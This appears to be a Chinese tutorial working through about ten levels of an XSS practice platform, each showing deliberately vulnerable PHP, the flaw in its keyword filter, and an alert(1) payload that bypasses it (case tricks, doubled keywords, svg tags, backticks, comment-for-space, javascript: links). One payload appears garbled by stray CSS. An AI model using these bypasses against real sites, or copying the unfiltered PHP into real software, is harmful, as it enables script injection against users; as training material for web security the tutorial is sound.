篇首语:本文由小编为大家整理,主要介绍了浅析XSS的几种测试方法相关的知识,希望对你有一定的参考价值。
最近看到一个好玩的xss社区,准备通过几个经典的关卡来剖析一下XSS,本文仅提供经典案例。
试玩链接:http://tr.secevery.com/xss_platform/code/xss01/index.php?name=1
一、代码片段
<?php ini_set("display_errors", 0); if (isset($_GET["name"])) { $str = $_GET["name"]; echo "<h2>你好:".$str."</h2>"; } else { echo "<h2>Please add parameters name.</h2>"; } ?>
二、分析
通过GET传递进来的name未做过滤,直接输入,因此引发XSS
三、构造payload
name=<script>alert(1)</script>
一、代码片段
<?php
ini_set("display_errors", 0);
$str = @$_POST["keyword"];
$str = str_replace("script", "", $str);
echo "
<form action="index.php" method="POST">
<input name=keyword size=60 value="".$str."">
<input type=submit name=submit value="Search"/>
</form>";
echo "<p>No results for "<b>".htmlspecialchars($str)."</b>"</p>";
?>
二、分析
通过post传递进来的keyword进行了关键词过滤,因此通过大小写可以绕过(也可其他姿势,此处主要讲解大小写绕过)
三、构造payload
一、代码片段
<?php
ini_set("display_errors", 0);
$str = strtolower(@$_POST["keyword"]);
$str = str_replace("script", "", $str);
echo "
<form action="index.php" method="POST">
<input name=keyword size=60 value="".$str."">
<input type=submit name=submit value="Search"/>
</form>";
echo "<p>No results for "<b>".htmlspecialchars($str)."</b>"</p>";
?>
二、分析
此处不仅大小写过滤,而且替换了script关键词为空,<script>标签不能用可使用其他标签绕过
三、构造payload
keyword="><img src=# onerror="alert(1)"><"
一、代码片段
<?
$xss=$_GET["x"];
$xss=preg_replace("/script/i","",$xss);
echo "hello:",$xss;
?>
二、分析
get传递过来的参数大小写都过滤了,此处只替换一次关键词,因为可以使用script关键词两次从而达到绕过。
(此处有其他姿势,但主要讲解二次绕过姿势)
三、构造payload
x=<SCRscriptIPT>alert(1)</SCscriptRIPT>
一、代码片段
<?php
ini_set("display_errors", 0);
$str = strtolower(@$_POST["keyword"]);
while (strpos($str,"<script>")) {$str = str_replace("<script>", "", $str);}
while (strpos($str,"on")) {$str = str_replace("on", "", $str);}
echo "
<form action="index.php" method="POST">
<input name=keyword size=60 value="".$str."">
<input type=submit name=submit value="Search"/>
</form>";
echo "<p>No results for "<b>".htmlspecialchars($str)."</b>"</p>";
?>
二、分析
post传递过来的参数,进行了关键标签过来,并且调用事件的on关键词也过滤掉。此处可调用a标签,通过点击a标签重定向导致XSS
三、构造payload
keyword="><a href=javascript:alert(1)>xss me</a><"
一、代码片段
<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,"script")) {$str = str_replace("script", "", $str);} while (strpos($str,"<img")) {$str = str_replace("<img", "", $str);} while (strpos($str,"<a")) {$str = str_replace("<a", "", $str);} echo " <form action="index.php" method="POST"> <input name=keyword size=60 value="".$str.""> <input type=submit name=submit value="Search"/> </form>"; echo "<p>No results for "<b>".htmlspecialchars($str)."</b>"</p>"; ?>
二、分析
post传递过来的参数,进行了关键标签过滤,但是仔细发现没有过滤svg标签
三、构造payload
keyword="><svg src=x onclick=alert(1)></svg><"
点击之后弹框
一、代码片段
<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,"script")) {$str = str_replace("script", "", $str);} $str = str_replace("(", "", $str); $str = str_replace(")", "", $str); echo " <form action="index.php" method="POST"> <input name=keyword size=60 value="".$str.""> <input type=submit name=submit value="Search"/> </form>"; echo "<p>No results for "<b>".htmlspecialchars($str)."</b>"</p>"; ?
二、分析
post传递过来的参数,进行了关键标签过滤,但是仔细发现没有过滤svg标签,但是奇葩的过滤了括号,但是可用反引号替代
三、构造payload
keyword="><svg src=x onclick=alert`1`></svg><"
一、代码片段
<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,"script")) {$str = str_replace("script", "", $str);} $str = str_replace("(", "", $str); $str = str_replace(")", "", $str); $str = str_replace(" ", "", $str); echo " <form action="index.php" method="POST"> <input name=keyword size=60 value="".$str.""> <input type=submit name=submit value="Search"/> </form>"; echo "<p>No results for "<b>".htmlspecialchars($str)."</b>"</p>"; ?>
二、分析
post传递过来的参数,进行了关键标签过滤,并且过滤(),甚至还TM的过滤了空格,简直丧心病狂
三、构造payload
keyword="><img/**/ font-size: 13px;">x/**/"onclick=alert`1`><"
keyword="><img/src="1"/onerror=alert`0`><"
keyword="><<svg/onload=alert`1`><"
一、代码片段
<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); $str = preg_replace("/<.*?>/", "", $str); echo " <form action="index.php" method="POST"> <input name=keyword size=60 value="".$str.""> <input type=submit name=submit value="Search"/> </form>"; echo "<p>No results for "<b>".htmlspecialchars($str)."</b>"</p>"; ?>
二、分析
post传递过来的参数,进行正则匹配过滤,过滤所有标签
三、构造payload
<input type=image src=x onerror=alert(1)> 这个payload会把input当做img标签来用 此处用 " type=image src=x onerror=alert(1) " 闭合前后双引号,构造即可
keyword=" type=image src=x onerror=alert(1) "
一、代码片段
<?php ini_set("display_errors", 0); echo " <form action=index.php method=POST> <input name=link size=60 value=""> <input type=submit name=submit value="add link" /> </form>"; echo "<p></p>"; if (isset($_POST["link"])) { $str = strtolower(@$_POST["link"]); $str=str_replace(""",""",$str); $str=str_replace(""",""",$str); echo "<p><a href="".$str."">Link</a></p>"; } ?>
二、分析
本实例post传递过来的参数,输出在a标签里面,直接调用js代码可弹框
三、构造payload
link=javascript:alert(1)
以上是关于浅析XSS的几种测试方法的主要内容,如果未能解决你的问题,请参考以下文章